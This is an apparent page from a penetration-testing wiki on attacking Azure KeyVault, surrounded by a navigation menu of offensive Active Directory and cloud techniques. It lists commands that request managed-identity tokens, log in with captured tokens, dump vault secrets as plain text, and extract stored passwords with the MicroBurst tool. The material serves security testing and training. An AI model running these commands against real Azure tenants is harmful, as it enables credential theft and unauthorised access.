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<a href="../../../active-directory/hash-pass-the-hash/" class="md-nav__link">
<span class="md-ellipsis">
Hash - Pass the Hash
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</a>
</li>
<li class="md-nav__item">
<a href="../../../active-directory/hash-pass-the-key/" class="md-nav__link">
<span class="md-ellipsis">
Hash - Pass The Key
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</a>
</li>
<li class="md-nav__item">
<a href="../../../active-directory/internal-dcom/" class="md-nav__link">
<span class="md-ellipsis">
Internal - DCOM
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</a>
</li>
<li class="md-nav__item">
<a href="../../../active-directory/internal-mitm-relay/" class="md-nav__link">
<span class="md-ellipsis">
Internal - MITM and Relay
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</a>
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<li class="md-nav__item">
<a href="../../../active-directory/internal-pxe-boot-image/" class="md-nav__link">
<span class="md-ellipsis">
Internal - PXE Boot Image
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</a>
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<li class="md-nav__item">
<a href="../../../active-directory/internal-shares/" class="md-nav__link">
<span class="md-ellipsis">
Internal - Shares
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<li class="md-nav__item">
<a href="../../../active-directory/kerberos-bronze-bit/" class="md-nav__link">
<span class="md-ellipsis">
Kerberos - Bronze Bit
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</a>
</li>
<li class="md-nav__item">
<a href="../../../active-directory/kerberos-delegation-constrained/" class="md-nav__link">
<span class="md-ellipsis">
Kerberos Delegation - Constrained Delegation
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</a>
</li>
<li class="md-nav__item">
<a href="../../../active-directory/kerberos-delegation-rbcd/" class="md-nav__link">
<span class="md-ellipsis">
Kerberos Delegation - Resource Based Constrained Delegation
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</a>
</li>
<li class="md-nav__item">
<a href="../../../active-directory/kerberos-delegation-unconstrained/" class="md-nav__link">
<span class="md-ellipsis">
Kerberos Delegation - Unconstrained Delegation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../../active-directory/kerberos-s4u/" class="md-nav__link">
<span class="md-ellipsis">
Kerberos - Service for User Extension
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../../active-directory/kerberos-tickets/" class="md-nav__link">
<span class="md-ellipsis">
Kerberos - Tickets
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<a href="../../../active-directory/pwd-comments/" class="md-nav__link">
<span class="md-ellipsis">
Password - AD User Comment
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</a>
</li>
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<a href="../../../active-directory/pwd-dsrm-credentials/" class="md-nav__link">
<span class="md-ellipsis">
Password - DSRM Credentials
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</a>
</li>
<li class="md-nav__item">
<a href="../../../active-directory/pwd-group-policy-preferences/" class="md-nav__link">
<span class="md-ellipsis">
Password - Group Policy Preferences
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</a>
</li>
<li class="md-nav__item">
<a href="../../../active-directory/pwd-precreated-computer/" class="md-nav__link">
<span class="md-ellipsis">
Password - Pre-Created Computer Account
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</a>
</li>
<li class="md-nav__item">
<a href="../../../active-directory/pwd-read-gmsa/" class="md-nav__link">
<span class="md-ellipsis">
Password - GMSA
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</a>
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<a href="../../../active-directory/pwd-read-laps/" class="md-nav__link">
<span class="md-ellipsis">
Password - LAPS
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</li>
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<a href="../../../active-directory/pwd-shadow-credentials/" class="md-nav__link">
<span class="md-ellipsis">
Password - Shadow Credentials
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<a href="../../../active-directory/pwd-spraying/" class="md-nav__link">
<span class="md-ellipsis">
Password - Spraying
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<a href="../../../active-directory/trust-pam/" class="md-nav__link">
<span class="md-ellipsis">
Trust - Privileged Access Management
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<a href="../../../active-directory/trust-relationship/" class="md-nav__link">
<span class="md-ellipsis">
Trust - Relationship
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<a href="../../../active-directory/trust-sid-hijacking/" class="md-nav__link">
<span class="md-ellipsis">
Child Domain to Forest Compromise - SID Hijacking
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</li>
<li class="md-nav__item">
<a href="../../../active-directory/trust-ticket/" class="md-nav__link">
<span class="md-ellipsis">
Forest to Forest Compromise - Trust Ticket
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MS14-068 Checksum Validation
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NoPAC / samAccountName Spoofing
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PrintNightmare
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PrivExchange
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Kiosk Escape and Jail Breakout
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Hash Cracking
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Mimikatz
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Network Discovery
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Reverse Shell Cheat Sheet
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AWS - Access Token &amp; Secrets
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AWS - CLI
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AWS - Service - Cognito
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AWS - Service - DynamoDB
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<span class="md-ellipsis">
AWS - Service - EC2
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<span class="md-ellipsis">
AWS - Enumerate
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<a href="../../aws/aws-iam/" class="md-nav__link">
<span class="md-ellipsis">
AWS - Identity &amp; Access Management
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<a href="../../aws/aws-ioc-detection/" class="md-nav__link">
<span class="md-ellipsis">
AWS - IOC &amp; Detections
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<a href="../../aws/aws-lambda/" class="md-nav__link">
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AWS - Service - Lambda &amp; API Gateway
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<span class="md-ellipsis">
AWS - Metadata SSRF
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AWS - Service - S3 Buckets
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<a href="../../aws/aws-ssm/" class="md-nav__link">
<span class="md-ellipsis">
AWS - Service - SSM
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AWS - Training
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aka.ms Shortcuts
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Azure AD - Access and Tokens
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Azure AD - Conditional Access Policy
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Azure AD - AD Connect and Cloud Sync
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Azure AD - IAM
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Azure AD - Enumerate
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Azure AD - Persistence
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<span class="md-ellipsis">
Azure AD - Phishing
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Azure - Requirements
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Azure Services - Application Endpoint
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Azure Services - Application Proxy
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Azure Services - Container Registry
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Azure Services - Deployment Template
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Azure Services - KeyVault
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Query Secrets
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Azure Services - Office 365
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Azure Services - Runbook and Automation
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Azure Services - Storage Blob
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Azure Services - Virtual Machine
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Azure Services - Web Apps
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Cobalt Strike
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<a href="https://github.com/swisskyrepo/InternalAllTheThings/blob/main/docs/cloud/azure/azure-services-keyvault.md" title="Edit this page" class="md-content__button md-icon">
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<h1 id="azure-services-keyvault">Azure Services - KeyVault</h1>
<h2 id="access-token">Access Token</h2>
<ul>
<li>
<p>Keyvault access token
<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="nb">curl </span><span class="s2">&quot;$IDENTITY_ENDPOINT?resource=https://vault.azure.net&amp;apiversion=2017-09-01&quot;</span> <span class="n">-H</span> <span class="n">secret</span><span class="p">:</span><span class="nv">$IDENTITY_HEADER</span>
<a id="__codelineno-0-2" name="__codelineno-0-2" href="#__codelineno-0-2"></a><span class="nb">curl </span><span class="s2">&quot;$IDENTITY_ENDPOINT?resource=https://management.azure.com&amp;apiversion=2017-09-01&quot;</span> <span class="n">-H</span> <span class="n">secret</span><span class="p">:</span><span class="nv">$IDENTITY_HEADER</span>
</code></pre></div></p>
</li>
<li>
<p>Connect with the access token
<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="n">PS</span><span class="p">&gt;</span> <span class="nv">$token</span> <span class="p">=</span> <span class="s1">&#39;eyJ0..&#39;</span>
<a id="__codelineno-1-2" name="__codelineno-1-2" href="#__codelineno-1-2"></a><span class="n">PS</span><span class="p">&gt;</span> <span class="nv">$keyvaulttoken</span> <span class="p">=</span> <span class="s1">&#39;eyJ0..&#39;</span>
<a id="__codelineno-1-3" name="__codelineno-1-3" href="#__codelineno-1-3"></a><span class="n">PS</span><span class="p">&gt;</span> <span class="nv">$accid</span> <span class="p">=</span> <span class="s1">&#39;2e...bc&#39;</span>
<a id="__codelineno-1-4" name="__codelineno-1-4" href="#__codelineno-1-4"></a><span class="nb">PS </span><span class="n">Az</span><span class="p">&gt;</span> <span class="nb">Connect-AzAccount</span> <span class="n">-AccessToken</span> <span class="nv">$token</span> <span class="n">-AccountId</span> <span class="nv">$accid</span> <span class="n">-KeyVaultAccessToken</span> <span class="nv">$keyvaulttoken</span>
</code></pre></div></p>
</li>
</ul>
<h2 id="query-secrets">Query Secrets</h2>
<ul>
<li>
<p>Query the vault and the secrets
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="nb">PS </span><span class="n">Az</span><span class="p">&gt;</span> <span class="nb">Get-AzKeyVault</span>
<a id="__codelineno-2-2" name="__codelineno-2-2" href="#__codelineno-2-2"></a><span class="nb">PS </span><span class="n">Az</span><span class="p">&gt;</span> <span class="nb">Get-AzKeyVaultSecret</span> <span class="n">-VaultName</span> <span class="p">&lt;</span><span class="n">VaultName</span><span class="p">&gt;</span>
<a id="__codelineno-2-3" name="__codelineno-2-3" href="#__codelineno-2-3"></a><span class="nb">PS </span><span class="n">Az</span><span class="p">&gt;</span> <span class="nb">Get-AzKeyVaultSecret</span> <span class="n">-VaultName</span> <span class="p">&lt;</span><span class="n">VaultName</span><span class="p">&gt;</span> <span class="n">-Name</span> <span class="n">Reader</span> <span class="n">-AsPlainText</span>
</code></pre></div></p>
</li>
<li>
<p>Extract secrets from Automations, AppServices and KeyVaults
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="nb">Import-Module</span> <span class="n">Microburst</span><span class="p">.</span><span class="n">psm1</span>
<a id="__codelineno-3-2" name="__codelineno-3-2" href="#__codelineno-3-2"></a><span class="nb">PS </span><span class="n">Microburst</span><span class="p">&gt;</span> <span class="nb">Get-AzurePasswords</span>
<a id="__codelineno-3-3" name="__codelineno-3-3" href="#__codelineno-3-3"></a><span class="nb">PS </span><span class="n">Microburst</span><span class="p">&gt;</span> <span class="nb">Get-AzurePasswords</span> <span class="n">-Verbose</span> <span class="p">|</span> <span class="nb">Out-GridView</span>
</code></pre></div></p>
</li>
</ul>
<h2 id="references">References</h2>
<ul>
<li><a href="https://www.netspi.com/blog/technical/cloud-penetration-testing/get-azurepasswords/">Get-AzurePasswords: A Tool for Dumping Credentials from Azure Subscriptions - August 28, 2018 - Karl Fosaaen</a></li>
<li><a href="https://www.alteredsecurity.com/azureadlab">Training - Attacking and Defending Azure Lab - Altered Security</a></li>
</ul>
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